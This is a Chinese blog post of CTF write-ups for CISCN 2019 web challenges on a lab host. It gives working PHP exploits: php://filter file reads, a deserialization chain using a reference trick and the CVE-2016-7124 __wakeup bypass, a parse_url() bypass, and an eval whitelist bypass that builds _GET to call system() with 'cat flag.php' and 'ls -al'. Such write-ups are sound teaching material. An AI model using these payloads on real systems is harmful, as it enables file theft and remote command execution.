Featured image of post CISCN 2019 web writeup

CISCN 2019 web writeup

CTF 回顾记录

web1

题目源码链接

https://d4n-picture-database.oss-cn-beijing.aliyuncs.com/img/CISCN+2019+web1.zip

访问:http://172.28.76.89:8845/CISCN_2019_web1/

image-20250317135608960

得到提示,利用伪协议获取hint.php和index.php内容

1
2
3
http://172.28.76.89:8845/CISCN_2019_web1/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

http://172.28.76.89:8845/CISCN_2019_web1/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

hint.php

image-20250317135818571

index.php

image-20250317135845408

hint.php 包含两个类,index.php中包含unserialize(),固考虑反序列化利用

先根据目前的信息构造反序列化链

知识点

引用 Reference

在当前题目中,存在如下比较,关注行8行13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			......
        }
    }
}

可以看到行8有一次链式赋值操作,但是在行13刷新了其中一个变量的值,那么此时,服务端想要两次随机出来的数一致几乎不可能,所以这里需要用到 引用 Reference

Demo

1
2
$a = &$b; 
$b = 123;

image-20250317152637903

parse_url() 绕过

正常解析

input

1
http://172.28.76.89:8845/CISCN_2019_web1/?payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22Flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%227eea1f266bfc82028683ad15da46e05e%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

解析为

image-20250317153332100

但是输入为下时,可以进行绕过

input

1
http://172.28.76.89:8845///CISCN_2019_web1/?payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22Flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%227eea1f266bfc82028683ad15da46e05e%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

image-20250317154229643

此时发现$query因为$url无法解析为false后,$query值也为空数组。

此时不会进入foreach,成功绕过

扩展

使其错误解析

Demo

1
2
3
4
5
6
<?php
$url = "http://www.baidu.com/suning?v=1&k=2#id"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>
正常解析

诱导解析 host

使用@

严格意义上来说不算错误,是人为输入诱导parse_url()输出错误的host

image-20250317155103704

错误解析

正常情况

image-20250317160113489

使用//,使其错误解析host

image-20250317160136794

使其无法解析

Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php 
$data = parse_url($_SERVER['REQUEST_URI']); 
var_dump($data);
$filter=array("aaa","qqqq");
foreach($filter as $f)
{ 
    if(preg_match("/".$f."/i", $data['query']))
    { 
        die("Attack Detected"); 
    } 
} 
?>
正常解析

image-20250317155417858

无法解析

使用 ///

image-20250317155538475

__wakeup() 绕过

CVE-2016-7124

使用CVE-2016-7124进行__wakeup()绕过

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10
Demo
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        echo(' bad requests<br>');
    }
}
$a=new xctf();
$b = serialize($a);

echo $b;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
unserialize($b);
//bad requests


$b = str_replace('O:4:"xctf":1', 'O:4:"xctf":2', $b);
echo $b;
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
unserialize($b);
//no bad requests

?>

image-20250317162905950

解题

php环境需满足这里

wp.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php  
class Handle{ 
    private $handle;
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}


class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}

$a = new Flag('flag.php');
$a->token = &$a->token_flag;
$b = new Handle($a);
$c = urlencode(serialize($b));


$c = str_replace(urlencode('O:6:"Handle":1'), urlencode('O:6:"Handle":2'), $c);

echo base64_encode(urldecode($c));

input

1
http://172.28.76.89:8845/CISCN_2019_web1/index.php?file=hint.php&payload=Tzo2OiJIYW5kbGUiOjI6e3M6MTQ6IgBIYW5kbGUAaGFuZGxlIjtPOjQ6IkZsYWciOjM6e3M6NDoiZmlsZSI7czo4OiJmbGFnLnBocCI7czo1OiJ0b2tlbiI7czozMjoiNjc4YTE0OTE1MTRiN2YxMDA2ZDYwNWU5MTYxOTQ2YjEiO3M6MTA6InRva2VuX2ZsYWciO1I6NDt9fQ==

成功

image-20250317163222405

web3

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if(!isset($_GET['c'])){
    show_source(__FILE__);
    die();
}

$content = $_GET['c'];
if (strlen($content) >= 80){
    die('Too long');
}

$blacklist = [' ','\t','\n','\r',"'",'"','`',"\[","\]"];
foreach ($blacklist as $b) {
    if (preg_grep('/'.$b.'/m', $content)) {
        die('Bad character');
    }
}

$whitlist = ['abs','acos','acosh','asin','asinh',
             'atan','atan2','atanh','base_convert',
             'bindec','ceil','cos','cosh','decbin',
             'dechex','decoct','deg2rad','exp','expm1',
             'floor','fmod','getrandmax','hexdec','hypot',
             'is_finite','is_infinite','is_nan','lcg_value','log',
             'log10','log1p','max','min',
             'mt_getrandmax','mt_rand','mt_srand','octdec','pi',
             'pow','rad2deg','rand','round','sin',
             'sinh','sqrt','srand','tan','tanh'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_func);

foreach($used_func[0] as $func){
    if(!in_array($func,$whitlist)){
        die("Attack Detected");
    }
}

eval('echo '.$content.';');

?>

知识点

进制转换绕过,构造_GET

base_convert(37907361743,10,36)(dechex(1598506324)) => hex2bin(5f474554) => _GET

$$特性

$$pi{0} => $_GET{0} => $_GET[0]

使用其他GET参数传递敏感值

$_GET[0]($_GET[1]) 配合 &0=system&1=ls%20-al 拿到执行函数与命令

解题

payload

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})&0=system&1=cat flag.php

Ref

https://www.cnblogs.com/Lee-404/p/12826352.html

https://blog.csdn.net/stepone4ward/article/details/89508867

Licensed under CC BY-NC-SA 4.0
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计